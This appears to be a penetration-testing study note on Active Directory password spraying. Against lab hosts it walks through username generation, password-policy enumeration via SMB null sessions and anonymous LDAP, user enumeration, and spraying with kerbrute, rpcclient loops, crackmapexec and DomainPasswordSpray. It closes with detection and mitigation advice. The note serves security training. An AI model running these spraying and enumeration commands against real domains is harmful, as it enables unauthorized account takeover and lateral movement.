---
title: "8. Active Directory Password Spraying"
date: 2024-09-03
draft: false
---

Attempting to login to exposd services using one common password and a longeer list of usernames/emails. 

Password sprays are effective to gain a foothold internally. 


Sometimes common username and linkedin username mixing won't necessarily lead to any hits for existing user accounts. 
Example technique: 
- Google searches (dorks) for PDFs published by the organization. 
- Metadata associated with the PDFs can contain the internal username structure in format of `f9l8` - randomly generated GUIDs using just capital letters and numbers. 
	- `A-Z` and `0-9` 
	- Published in the author field of the pdf file. 
	- Short bash script can be used to generate a ton of usernames following this username combination. 
```bash 
for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}
    do echo $x;
done
```
- With this list directed to a file we can use kerbrute to enumerate every single user account in the domain. 
	- Very predictable GUID in use

You cannot be careless while doing a password spray with AD. Below is an example of a good password spray. Delay attempts and use more usernames than passwords. Avoid locking out a specific user and refer to the password policy for the domain if you know what it is. 

![](/img/Pasted image 20240902144030.png|650)

Internal password spraying can be used to move laterally within a network, and the same considerations regarding account lockouts apply. However, it may be possible to obtain the domain password policy with internal access, significantly lowering this risk.

It's common to find a pw policy that allows five bad attempts before a lockout. 30min auto un-lock threshhold. 
Some orgs configure extended lockout thresholds or even require admin intervention to unlock an account manually. 
IF YOU DONT KNOW THE PASSWORD POLICY: 
- Good rule of thumb is to wait a few hours between attempts which should be long enough for the account lockout threshold to reset. 
- It's best to obtain the password policy before attemping an attack during an internal assessment, even though it's not always possible 

---
# Enumerating AD pw policy from Linux (Credentialed)
Common way to pull PW policy is with NXC or rpcclient 
```bash
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
```

SMB NULL Sessions and LDAP anonymous bind 
- SMB Null allows unauth attacker to retrieve information from the domain such as a complete listing of users, groups, computers, and domain pw policy. 
- SMB NULL sess. misconfigurations are often result of legacy DCs being upgraded in-place along with insecure configurations (old defaults) 

`rpcclient` can check dc for smb null session access
https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html
```bash
rpcclient -U "" -N 172.16.5.5
[...]
querydominfo
```

`enum4linux` will also automate this check. Tool is built with samba suite of tools - `nmblookup`, `net`, `rpcclient`, and `smbclient` to use for enumeration of windows hosts and domains. Preinstalled on many pentesting distros including parrot/kali 
```bash
enum4linux -P 172.16.5.5
```
`enum4linux-ng` is rewrite of the above written in python, and has additional features. i.e.; 
- ability to export data as YAML/JSON 
- colored output
- some others
https://github.com/cddmp/enum4linux-ng
```bash
enum4linux-ng -P 172.16.5.5 -oA ilfreight
```

It's also possible to enumerate a null session from Windows. 
```bash
net use \\DC01\ipc$ "" /u:""
```

**Enumerating PW policy from Linux using LDAP anonymous bind** 
https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled
LDAP anon allows us to retrieve information about the domain
- Complete listing of computers, users, groups, user account attributes, and domain pw policy. 
- Legacy configuration 
- As of Win Serv 2003, only auth users can ldap request. 
- Occasionally configured this way because admin needed to setup a particular application to allow anon binds and given out more access than intended. 

With anonymous ldap binds, we can use ldap-specific enumeration tools such as `windapsearch.py`; `ldapsearch`; `ad-ldapdomaindump.py` to pull the password policy - With ldapsearch it can be cumbersome, but doable. One example command to get PW policy is as follows: 

```bash
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 5
maxPwdAge: -9223372036854775808
minPwdAge: -864000000000
minPwdLength: 8
modifiedCountAtLastProm: 0
nextRid: 1002
pwdProperties: 1
pwdHistoryLength: 24
```
Min pw length of 8, lockout threshold of 5, and password complexity is set to 1. 
- Password complexity is enabled, meaning that a user must choose a password with 3/4 of the following: an uppercase letter, lowercase letter, number, special character (`Password1` or `Welcome1` would satisfy the "complexity" requirement here, but are still clearly weak passwords).

**Enumerating pw policy from Windows** 
We can also use Windows binaries - `net.exe` to retrieve pw policy. `Powerview`, `Crackmapexec` (ported to windows), `SharpMapExec`, `SharpView` etc. 

Builtins are helpful if we land on windows and cannot transfer tools to it. 
```bash
C:\htb> net accounts

Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          Unlimited
Minimum password length:                              8
Length of password history maintained:                24
Lockout threshold:                                    5
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        SERVER
The command completed successfully.
```
Passwords: 
- Never expire
- Min length of 8 (probably weak pws in use)
- Lockout threshold is 5 wrong passwords
- Lockout for 30m

This is an excellent policy for password spraying. 8char min means we can try common weak pws. Lockout of 5 means we can attempt 2-3 times every 31 minutes without risking locking users out. If we do lock a user out it will be unlocked automatically without an admin 
- ALWAYS avoid locking out users at any cost. 

Powerview is also great.
```bash
import-module .\PowerView.ps1
Get-DomainPolicy
```

---
# Default AD password policy
The default password policy when a new domain is created is as follows, and there have been plenty of organizations that never changed this policy:

|Policy|Default Value|
|---|---|
|Enforce password history|24 days|
|Maximum password age|42 days|
|Minimum password age|1 day|
|Minimum password length|7|
|Password must meet complexity requirements|Enabled|
|Store passwords using reversible encryption|Disabled|
|Account lockout duration|Not set|
|Account lockout threshold|0|
|Reset account lockout counter after|Not set|

----
# Making a target user list

To be succcessful with password spraying we need to find a valid list of domain users
- Leveraging SMB NULL session 
- Utilizing LDAP anon bind
- Kerbrute pre-auth with a wordlist such as insidetrust  https://github.com/insidetrust/statistically-likely-usernames 
	- Or gathered using linkedin2username https://github.com/initstring/linkedin2username
- Set of credentials from a linux or windows attack system either provided by client or obtained through another means 
	- LLMNR/NBT-NS response poisoning using responder 

It's also crucial to enumerate the password policy, again we really cannot afford to be locking users out during a professional pentest. 
We can tailor our password spray with this information. 

If you're on an internal machine without valid dom creds, look for smb null sessions or ldap anon bind on DCs. 
- If you have creds for a dom user or SYSTEM access on a windows host, you can easily query AD for this information. 
	- SYSTEM access can `impersonate` the computer A computer object is treated as a domain user account (with some differences) 
- Without these, you can create a user list using external resources mentioned above. 

---
## Enumerating users in AD oneliners

`enum4linux` - oneliner to pull list of only usernames, one on each line. 
```bash
enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
```

`rpcclient` - `enumdomusers` command 
```bash
rpcclient -U "" -N 172.16.5.5
enumdomusers
```

`nxc` `--users` flag 
```bash
crackmapexec smb 172.16.5.5 --users
```

`ldapsearch` oneliner to pull only usernames on one line (If we choose to use ldapsearch we will need to specify a valid LDAP search filter.): 
```bash
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
```

`windapsearch` makes this easier (though we should still understand how to create LDAP search filters) 
specify anonymous access by providing a blank username with the -u flag and the -U flag to tell tool to search only for users. 
```bash
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```

Kerberos `kerbrute.py` pre-authentication username list bruteforce. It's considered faster and potentially stealthier to perform password spraying. It does not generate windows event logs `4625: An account failed to logon` which is frequently monitored. Tool sends TGT requests to the DC without Kerberos Pre-Auth to perform username enumeration. 
KDC responds with `PRINCIPAL UNKNOWN` then we know the username is invalid. If KDC prompts for preauth we know the user exists and tool marks as valid. 
- No logon failures
- Does not lock out accounts 
- Once we have a valid list of users and switch to use this tool for pw spraying, failed Kerberos Pre-Auth attempts will count towards an account's failed login attempts. 
- DOES generate `4678: A Kerberos authentication ticket (TGT) was requested` https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
	- **Only triggered if kerberos event logging is enabled via group policy. Defenders can tune SIEM tools to look for an influx of this event ID, indicating an attack** 

Below example is using the insidetrust `jsmith.txt` list we've used before. 

```bash
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 
```

use -o to direct output 

--- 
## Internal password spraying from Linux 

Bash oneliner - using `rpcclient` after we've identified valid users with kerbrute. 
```bash
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
```

We can also just use `kerbrute` directly to do the same thing. 
```bash
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
```

Or netexec/cme: 
```bash
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
```

---
## Local administrator password reuse
Internal password sprays are not only possible with domain user accounts. If you obtain admin access  / NTLM pw hash or cleartext password for local administrator account this can be attempted across multiple hosts in the network. 
Local admin password reuse is widespread due to the use of gold images in auto deployments and perceived ease of management for support purposes. 

If we find a desktop host with local admin acc pw set to something unique like `$desktop%@admin123` its worth attempting `$server%@admin123` against servers, for example. 

Sometimes we may only retrieve the NTLM hash for the local administrator account from the local SAM database. In these instances, we can spray the NT hash across an entire subnet (or multiple subnets) to hunt for local administrator accounts with the same password set. In the example below, we attempt to authenticate to all hosts in a /23 network using the built-in local administrator account NT hash retrieved from another machine. The `--local-auth` flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. `Make sure this flag is set so we don't potentially lock out the built-in administrator for the domain`. By default, without the local auth option set, the tool will attempt to authenticate using the current domain, which could quickly result in account lockouts.

---
# Internal password spraying - From Windows 
https://github.com/dafthack/DomainPasswordSpray
If we are authenticated to the domain the tool will automatically generate a user list from AD, query the domain password policy, and exclude user accounts within one attempt of being locked out. 
We can also supply a user list, if on a windows host but not authenticated to the domain. 
Client may want us to perform testing from a managed windows device in their network that we can load tools onto. 

```bash
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
```

Kerbrute can also be used in conjunction with this. 

![](/img/Pasted image 20240903175909.png)


---
# Password spray mitigations, detections, and considerations
![](/img/Pasted image 20240903174530.png|700)
It is vital to ensure that your domain password lockout policy doesn’t increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period.

**Detection**
Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL.

In the Domain Controller’s security log, many instances of event ID [4625: An account failed to log on](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625) over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID [4771: Kerberos pre-authentication failed](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771), which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This [post](https://www.hub.trimarcsecurity.com/post/trimarc-research-detecting-password-spraying-with-security-event-auditing) details research around detecting password spraying using Windows Security Event Logging.

With these mitigations finely tuned and with logging enabled, an organization will be well-positioned to detect and defend against internal and external password spraying attacks.
